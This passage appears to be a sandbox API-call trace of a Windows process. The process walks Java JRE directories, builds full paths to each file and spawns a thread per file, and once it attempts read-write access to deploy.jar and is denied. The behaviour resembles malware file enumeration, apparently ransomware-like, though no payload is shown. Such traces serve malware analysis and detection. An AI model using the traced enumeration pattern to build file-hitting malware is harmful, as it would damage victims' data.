(x86)\\Java\\jre7\\lib\\deploy\\jqs") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs" [0159.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90f230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8 [0159.370] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.properties", cAlternateFileName="MESSAG~1.PRO")) returned 1 [0159.370] wcscmp (_String1="messages.properties", _String2=".") returned 1 [0159.370] wcscmp (_String1="messages.properties", _String2="..") returned 1 [0159.370] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x943bd0 [0159.370] wcscpy (in: _Dest=0x943bd0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.370] wcscat (in: _Dest=0x943bd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.370] wcscat (in: _Dest=0x943bd0, _Source="messages.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages.properties" [0159.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4 [0159.371] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_de.properties", cAlternateFileName="MESSAG~2.PRO")) returned 1 [0159.372] wcscmp (_String1="messages_de.properties", _String2=".") returned 1 [0159.372] wcscmp (_String1="messages_de.properties", _String2="..") returned 1 [0159.372] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6c68 [0159.372] wcscpy (in: _Dest=0x8e6c68, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.372] wcscat (in: _Dest=0x8e6c68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.372] wcscat (in: _Dest=0x8e6c68, _Source="messages_de.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_de.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_de.properties" [0159.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e0 [0159.386] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_es.properties", cAlternateFileName="MESSAG~3.PRO")) returned 1 [0159.386] wcscmp (_String1="messages_es.properties", _String2=".") returned 1 [0159.386] wcscmp (_String1="messages_es.properties", _String2="..") returned 1 [0159.386] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e67e8 [0159.386] wcscpy (in: _Dest=0x8e67e8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.386] wcscat (in: _Dest=0x8e67e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.386] wcscat (in: _Dest=0x8e67e8, _Source="messages_es.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_es.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_es.properties" [0159.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e67e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9dc [0159.388] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_fr.properties", cAlternateFileName="MESSAG~4.PRO")) returned 1 [0159.388] wcscmp (_String1="messages_fr.properties", _String2=".") returned 1 [0159.388] wcscmp (_String1="messages_fr.properties", _String2="..") returned 1 [0159.388] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6a28 [0159.388] wcscpy (in: _Dest=0x8e6a28, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.388] wcscat (in: _Dest=0x8e6a28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.388] wcscat (in: _Dest=0x8e6a28, _Source="messages_fr.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_fr.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_fr.properties" [0159.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d8 [0159.389] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_it.properties", cAlternateFileName="MEC9EA~1.PRO")) returned 1 [0159.389] wcscmp (_String1="messages_it.properties", _String2=".") returned 1 [0159.389] wcscmp (_String1="messages_it.properties", _String2="..") returned 1 [0159.389] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7178 [0159.389] wcscpy (in: _Dest=0x8e7178, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.389] wcscat (in: _Dest=0x8e7178, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.389] wcscat (in: _Dest=0x8e7178, _Source="messages_it.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_it.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_it.properties" [0159.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0159.391] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ja.properties", cAlternateFileName="ME4AF1~1.PRO")) returned 1 [0159.391] wcscmp (_String1="messages_ja.properties", _String2=".") returned 1 [0159.391] wcscmp (_String1="messages_ja.properties", _String2="..") returned 1 [0159.391] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6fc8 [0159.391] wcscpy (in: _Dest=0x8e6fc8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.391] wcscat (in: _Dest=0x8e6fc8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.391] wcscat (in: _Dest=0x8e6fc8, _Source="messages_ja.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_ja.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_ja.properties" [0159.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d0 [0159.392] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1657, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ko.properties", cAlternateFileName="ME1706~1.PRO")) returned 1 [0159.392] wcscmp (_String1="messages_ko.properties", _String2=".") returned 1 [0159.392] wcscmp (_String1="messages_ko.properties", _String2="..") returned 1 [0159.392] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e8258 [0159.392] wcscpy (in: _Dest=0x8e8258, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.392] wcscat (in: _Dest=0x8e8258, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.392] wcscat (in: _Dest=0x8e8258, _Source="messages_ko.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_ko.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_ko.properties" [0159.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0159.393] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_pt_BR.properties", cAlternateFileName="MED1E1~1.PRO")) returned 1 [0159.393] wcscmp (_String1="messages_pt_BR.properties", _String2=".") returned 1 [0159.393] wcscmp (_String1="messages_pt_BR.properties", _String2="..") returned 1 [0159.393] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0xd4b7530 [0159.393] wcscpy (in: _Dest=0xd4b7530, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.394] wcscat (in: _Dest=0xd4b7530, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.394] wcscat (in: _Dest=0xd4b7530, _Source="messages_pt_BR.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_pt_BR.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_pt_BR.properties" [0159.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8 [0159.395] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_sv.properties", cAlternateFileName="ME0541~1.PRO")) returned 1 [0159.395] wcscmp (_String1="messages_sv.properties", _String2=".") returned 1 [0159.395] wcscmp (_String1="messages_sv.properties", _String2="..") returned 1 [0159.395] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7e68 [0159.395] wcscpy (in: _Dest=0x8e7e68, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.395] wcscat (in: _Dest=0x8e7e68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.395] wcscat (in: _Dest=0x8e7e68, _Source="messages_sv.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_sv.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_sv.properties" [0159.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c4 [0159.396] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_CN.properties", cAlternateFileName="ME40CD~1.PRO")) returned 1 [0159.396] wcscmp (_String1="messages_zh_CN.properties", _String2=".") returned 1 [0159.396] wcscmp (_String1="messages_zh_CN.properties", _String2="..") returned 1 [0159.396] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0xd4b75c8 [0159.396] wcscpy (in: _Dest=0xd4b75c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.396] wcscat (in: _Dest=0xd4b75c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.396] wcscat (in: _Dest=0xd4b75c8, _Source="messages_zh_CN.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_CN.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_CN.properties" [0159.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b75c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0 [0159.397] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_HK.properties", cAlternateFileName="MEB8B5~1.PRO")) returned 1 [0159.397] wcscmp (_String1="messages_zh_HK.properties", _String2=".") returned 1 [0159.397] wcscmp (_String1="messages_zh_HK.properties", _String2="..") returned 1 [0159.397] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0xd4b7660 [0159.397] wcscpy (in: _Dest=0xd4b7660, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.398] wcscat (in: _Dest=0xd4b7660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.398] wcscat (in: _Dest=0xd4b7660, _Source="messages_zh_HK.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_HK.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_HK.properties" [0159.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0159.399] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_TW.properties", cAlternateFileName="MECC18~1.PRO")) returned 1 [0159.399] wcscmp (_String1="messages_zh_TW.properties", _String2=".") returned 1 [0159.399] wcscmp (_String1="messages_zh_TW.properties", _String2="..") returned 1 [0159.399] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0xd4b76f8 [0159.399] wcscpy (in: _Dest=0xd4b76f8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.399] wcscat (in: _Dest=0xd4b76f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.399] wcscat (in: _Dest=0xd4b76f8, _Source="messages_zh_TW.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_TW.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_TW.properties" [0159.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b76f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0159.400] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3687, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 1 [0159.400] wcscmp (_String1="splash.gif", _String2=".") returned 1 [0159.400] wcscmp (_String1="splash.gif", _String2="..") returned 1 [0159.400] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c9e0 [0159.400] wcscpy (in: _Dest=0x93c9e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.400] wcscat (in: _Dest=0x93c9e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.400] wcscat (in: _Dest=0x93c9e0, _Source="splash.gif" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\splash.gif") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\splash.gif" [0159.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c9e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0159.402] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3687, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 0 [0159.402] FindClose (in: hFindFile=0x93b1f8 | out: hFindFile=0x93b1f8) returned 1 [0159.403] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906b70) returned 1 [0159.403] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f298) returned 1 [0159.403] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff308) returned 1 Thread: id = 3237 os_tid = 0x1f20 [0152.075] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar")) returned 0x20 [0153.237] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar", dwFileAttributes=0x20) returned 0 [0153.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.237] GetLastError () returned 0x5 [0153.237] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar", dwFileAttributes=0x20) returned 0 [0153.238] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f300) returned 1 Thread: id = 3238 os_tid = 0x1f24 [0152.075] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8ff368 [0152.075] wcscpy (in: _Dest=0x8ff368, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0152.075] wcscat (in: _Dest=0x8ff368, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0152.075] wcscat (in: _Dest=0x8ff368, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*" [0152.075] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9050f8 [0152.075] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*", lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b1b8 [0153.648] wcscmp (_String1=".", _String2=".") returned 0 [0153.648] FindNextFileW (in: hFindFile=0x93b1b8, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.648] wcscmp (_String1="..", _String2=".") returned 1 [0153.648] wcscmp (_String1="..", _String2="..") returned 0 [0153.648] FindNextFileW (in: hFindFile=0x93b1b8, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x148f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-32.jar", 